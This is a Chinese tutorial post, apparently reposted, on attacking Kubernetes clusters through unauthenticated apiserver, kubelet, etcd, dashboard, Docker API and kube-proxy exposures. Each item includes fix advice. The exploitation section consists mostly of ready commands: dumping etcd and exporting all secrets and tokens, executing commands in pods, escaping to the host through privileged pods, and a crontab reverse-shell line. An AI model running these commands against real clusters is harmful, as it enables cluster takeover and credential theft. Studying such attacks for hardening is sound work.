Kubernetes(k8s)集群渗透
Posted @carefree
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Kubernetes(k8s)集群渗透相关的知识,希望对你有一定的参考价值。
一、简介
Kubernetes,又称为 k8s,是一种可自动实施Linux容器操作的开源平台,可以帮助用户省去应用容器化过程的许多手动部署和扩展操作,也就是说,它可以将运行 Linux 容器的多组主机聚集在一起并轻松高效地管理这些集群。
二、优势
-
服务发现与调度
-
负载均衡
-
服务自愈
-
服务弹性扩容
-
横向扩容
-
存储卷挂载
三、相关术语
主机(Master): 用于控制 Kubernetes 节点的计算机。所有任务分配都来自于此。
节点(Node):负责执行请求和所分配任务的计算机。由 Kubernetes 主机负责对节点进行控制。
容器集(Pod):被部署在单个节点上的,且包含一个或多个容器的容器组。同一容器集中的所有容器共享同一个 IP 地址、IPC、主机名称及其它资源。容器集会将网络和存储从底层容器中抽象出来。这样,就能更加轻松地在集群中移动容器。
复制控制器(Replication controller):用于控制应在集群某处运行的完全相同的容器集副本数量。
服务(Service):将工作内容与容器集分离。Kubernetes 服务代理会自动将服务请求分发到正确的容器集——无论这个容器集会移到集群中的哪个位置,甚至可以被替换掉。
Kubelet:运行在节点上的服务,可读取容器清单(container manifest),确保指定的容器启动并运行。
kubectl: Kubernetes 的命令行配置工具
四、架构
架构图:
k8s集群由Master节点和Node(Worker)节点组成
Master节点(主节点)
Master节点指的是集群控制节点,管理和控制整个集群,基本上k8s的所有控制命令都发给它,它负责具体的执⾏过程。在Master上主要运⾏着:
-
Kubernetes Controller Manager(kube-controller-manager):k8s中所有资源对象的⾃动化控制中⼼,维护管理集群的状态,⽐如故障检测,⾃动扩展,滚动更新等,管理控制器。
-
Kubernetes Scheduler(kube-scheduler): 负责资源调度,按照预定的调度策略将Pod调度到相应的机器上,“调度室”。
-
etcd:保存整个集群的状态。
Node节点(计算节点)
除了master以外的节点被称为Node或者Worker节点,可以在master中使⽤命令 kubectl get nodes查看集群中的node节点。每个Node都会被Master分配⼀些⼯作负载(Docker容器),当某个Node宕机时,该节点上的⼯作负载就会被Master⾃动转移到其它节点上。在Node上主要运⾏着:
-
kubelet:负责Pod对应的容器的创建、启停、修改、删除等任务,同时与Master密切协作,实现集群管理的基本功能。
-
kube-proxy:实现service的通信与负载均衡,提供代理。
-
docker(Docker Engine):Docker引擎,负责本机的容器创建和管理
-
Pod:是k8s最基本的操作单元。一个Pod代表着集群中运行的一个进程,它内部封装了一个或多个紧密相关的容器。
-
Fluentd:主要负责日志收集、存储与查询。
五、风险面
k8s集群主要由以下组件组成:
1)kube-apiserver:k8s master节点api服务器,以REST API服务形式提供接⼝,作为整个k8s的控制⼊⼝。
2)kube-controller-manager:执⾏整个k8s的后台任务,包括节点状态状况、Pod个数、Pods和Service的关联等。
3)kube-scheduler:接收来⾃kube-apiserver创建Pods任务,通过收集的集群中所有node节点的资源负载情况分配到某个节点。
4)etcd:k8s的键值对形式数据库,保存了k8s所有集群数据的后台数据库
5)kube-proxy:运⾏在每个node节点上,负责pod⽹络代理。定时从etcd获取到service信息来做相应的策略。
6)kubelet:运⾏在每个node节点上,作为agent,接收分配该节点的pods任务及管理容器,周期性获取容器状态,反馈给kube-apiserver
漏洞点主要是在上面提到的重点组件内:
kube-apiserver、kubelet、etcd、dashboard、docker、kube-proxy
组件 | 常用端口 | 脆弱点 | 备注 |
kube-apiserver | 6443、8080 | 未授权访问 | 节点API服务器 |
kubelet | 10250(https)、10255 | 未授权访问 | |
etcd | 2379 | 未授权访问 | 数据库 |
docker | 2375 | 未授权访问 | |
dashboard | 30000+ | 认证绕过CVE-2018-18264 未授权 | k8s的Web管理接口:未做鉴权,直接操作集群 |
kube-proxy | 配置错误 | ||
cadvisor(k8s的监控) | 4194、8080 | 未授权 |
利用细节
etcd - 未授权访问
etcd是⼀个key-value数据库,为k8s集群提供底层数据存储。
未授权访问:数据库敏感内容若无加密处理,会被攻击者加以利用,甚至控制整个集群
修复建议:通过 --client-cert-auth 开启证书校验,开启访问控制
#检测利用
http://IP:2379/version
http://IP:2379/v2/keys #有v2和v3两个版本
http://0.0.0.0:2379/v2/keys/?recursive=true
etcdctl 工具地址
ETCDCTL_API=3 ./etcdctl --endpoints=http://IP:2379/ get / --prefix --keys-only #遍历所有的key
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only # --insecure-transport --insecure-skip-tls-verify 忽略证书校验
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only | sort |
uniq | xargs -I sh -c 'ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379
get >> output.data && echo "" >> output.data'
#通过v3 API来dump数据库到 output.data(输出格式:一行key+一行value)
ETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://IP:2379/ get / --prefix --keys-only|sort|uniq|
grep secret # 查找secret相关keys
# 通过 get /registry/secrets/default/admin-token-557l2 拿到 token
dump下etcd,定位 apiserver 和 所有证书; 检索关键字 advertiseAddress | kubeAPIConfig 定位 apiserver的地址
使用curl 访问api server,确认token是否正确可用;
curl --header "Authorization: Bearer TOKEN" -X GET https://API_SERVER:6443/api -k
token错误,返回401
"kind": "Status", "apiVersion": "v1", "metadata": , "status": "Failure", "message": "Unauthorized", "reason":"Unauthorized", "code": 401
token正确,返回
"kind": "APIVersions", "versions": [ "v1" ],"serverAddressByClientCIDRs": [ "clientCIDR": "xxxx", "serverAddress":"xxxx" ]
执⾏kubectl config命令,来⽣成简单的临时配置⽂件
touch test_config kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKENkubectl --kubeconfig=./test_config config
set-cluster hacked_cluster --server=https://IP:6443/ --insecure-skip-tls-verifykubectl --kubeconfig=./test_config config set-context
test_context --cluster=hacked_cluster --user=hackerkubectl --
kubeconfig=./test_config config use-context test_context # 生成临时配置文件
通过该配置文件访问api server,达到控制k8s集群的目标:
brew install kubectl # mac安装kubectl
kubectl --kubeconfig=./test_config get nodes -A #管控集群
扩大权限,使用kubectl 导出所有secret,利用优于etcd
kubectl --kubeconfig=./test_config get secret -A -o custom-columns=:.metadata.name,:.metadata.namespace --no-headers | xargs -n 2 sh
-c '(kubectl --kubeconfig=./test_config get secret -n $3 -o yaml $2; echo
"") >> all_secrets_yaml.txt' --
Kube apiserver - 未授权访问
k8s api server 存在未授权访问,攻击者可通过kubectl创建恶意pod或控制已有pod,后续可逃逸至宿主机
修复建议:使用安全端口替代8080端口,并使用 --tls-cert-file参数
直接访问:http://ip:port/,回显接口信息
访问 http://ip:8080/api/v1/namespaces/kube-system/secrets/ 拿到token
创建kubectl配置⽂件,指定⽬标地址和拿到的token等
kubectl--kubeconfig=./test_config get pod -n kube-system -o wide
# 通过kubectl使⽤kube-system的token获取pod列表。之后可进⼀步创建pod或控制已有pod进⾏命令执⾏等操作
curl –insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST “https://IP:10250/exec/namespace/podID/containername? command=touch&command=/tmp/test&input=1&output=1&tty=1"
kubectl -s ip:8080 get node # 获取节点
kubectl -s 127.0.0.1:8080 get pods # 获取Pods
kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-
59595f6ffc-p8xvk bash #执行命令
PS:较高版本的k8s,需要获取service-account-token,通过访问api来获取token
/api/v1/namespaces/kube-system/secrets/
获取宿主机权限-通过k8s dashboard,创建特权Pods
echo -e "* * * * * /bin/bash -i >& /dev/tcp/0.0.0.0/1234 0>&1" >> /mnt/etc/crontab
# 然后通过dashboard创建pod并挂在宿主机的任意⽬录;然后写crontab获取shell
Kubelet - 未授权访问
k8s node对外开启10250(kubelet API)和10255端⼝(readonly API),攻击者可创建恶意pod或控制已有pod,后续可尝试逃逸⾄宿主机
修复建议:
-
readOnlyPort=0:关闭只读端⼝(默认 10255);
-
authentication.anonymous.enabled:设置为 false,不允许匿名访问 10250 端⼝;
-
authentication.x509.clientCAFile:指定签名客户端证书的 CA 证书,开启 HTTP 证书认证;authentication.webhook.enabled=true:开启 HTTPs bearer token 认证
curl http://ip:10250/pods
使用kubeletctl 批量获取pod等信息:
./kubeletctl pods -s x.x.x.x
可使⽤kubeletctl在特权pod内执⾏命令,挂载宿主机根⽬录,通过向宿主机批量写⼊ssh公钥逃逸到宿主机
k8s dashboard认证绕过(CVE-2018-18264)
攻击者可跳过登录,直接进⼊dashboard web⻚获取pod和job等状态,并可创建恶意pod,尝试逃逸⾄宿主机
修复建议:关闭dashboard的--enable-skip-login
登录页面选择跳过登录 -> 可通过dashboard获取pod、node和job等状态
若业务配置错误或为了⽅便给 Kubernetes dashboard 绑定 cluster-admin等⻆⾊,攻击者可直接在界⾯上创建特权 pod 进⾏容器逃逸
docker - 未授权访问
攻击者可利用对外暴露的docker remote api,执行docker命令
修复建议:⽣成证书进⾏api校验:docker -d --tlsverify --tlscacert=ca.pem--tlscert=server-cert.pem--tlskey=server-key.pem-H=tcp://x.x.x.x:2375-H unix:///var/run/dock
curl http://ip:2376/version #可获取docker版本等信息
通过调用docker未授权接口,创建特权容器,挂载宿主机根目录;后续可通过写入ssh公钥和crontab等,完成逃逸和持久化
kube proxy 配置错误
攻击者可通过kube-proxy代理来未授权访问本地kube-apiserver组件,创建恶意pod或控制已有pod,后续可尝试逃逸⾄宿主机
修复建议:kube-proxy禁⽌对外直接使⽤--address=0.0.0.0参数
该漏洞⼀般为业务或开发为了⽅便,通过kubectl proxy --address=0.0.0.0命令,将kube-apiserver暴露到0.0.0.0,且默认未授权之后请求8001端⼝即可未授权访问kube-apiserver;后续可按照kube-apiserver未授权进行处理。
仅供学习使用!!
参考
什么是Kubernetes (Kube) ? 一文了解K8s是什么_红帽
https://copyfuture.com/blogs-details/20210616193408465N
10分钟看懂Docker和K8S_Seven7707的博客-CSDN博客
以上是关于Kubernetes(k8s)集群渗透的主要内容,如果未能解决你的问题,请参考以下文章